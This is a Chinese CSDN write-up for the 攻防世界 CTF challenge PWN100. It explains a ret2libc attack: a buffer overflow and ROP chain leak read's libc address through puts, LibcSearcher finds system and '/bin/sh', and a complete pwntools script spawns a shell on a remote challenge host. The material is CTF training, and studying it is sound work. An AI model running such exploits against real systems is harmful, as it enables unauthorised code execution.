攻防世界(Pwn) PWN100

本文介绍了一种在没有系统、/bin/sh字符串和libc.so的情况下,通过利用x86-64架构中参数传递规则,使用ROP技术泄露read函数地址,进而通过LibcSearcher找到system函数和/bin/sh字符串,最终获取系统权限的方法。详细步骤包括构造payload执行puts泄露read地址,然后寻找system和/bin/sh的地址,最后触发payload实现控制流程。
摘要由CSDN通过智能技术生成

在这里插入图片描述同时这里还存在一个 v1溢出点
在这里插入图片描述
在这里插入图片描述

我们知道x86都是靠栈来传递参数的而x64换了它顺序是rdi, rsi, rdx, rcx, r8,
r9,如果多于6个参数才会用栈我们要先知道这个特性

这题,里面既没有现成的system也没有/bin/sh字符串,也没有提供libc.so给我们,那么我们要做的就是想办法泄露libc地址,拿到system函数和/bin/sh字符串,这题呢,我们可以利用put来泄露read函数的地址,然后再利用LibcSearcher查询可能的libc

这题ROP,我们先构造payload来执行puts函数泄露read的地址

对此过程生疏的可以看看这篇文章 CTF(Pwn) Rop + ret2libc 题型 常规解法思路 (初级)

from pwn import*
from LibcSearcher import*
p=remote("111.200.241.244",49392)
elf =ELF('./1')
read_got = elf.got['read']
puts_plt = elf.plt['puts']
main_addr=0x4006B8
rdi=0x400763
payload='a'*(0x40+0x8)+p64(rdi)+p64(read_got)+p64(puts_plt)+p64(main_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.recvline()
read_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))
libc = LibcSearcher('read',read_addr)
base=read_addr - libc.dump('read')
system_addr = base+libc.dump('system')
binsh=base+libc.dump('str_bin_sh')
payload='a'*(0x40+0x8)+p64(rdi)+p64(binsh)+p64(system_addr)
payload=payload.ljust(200,'a')
p.sendline(payload)
p.interactive()

具体EXP就不解释了 有问题欢迎留言

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半岛铁盒@

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值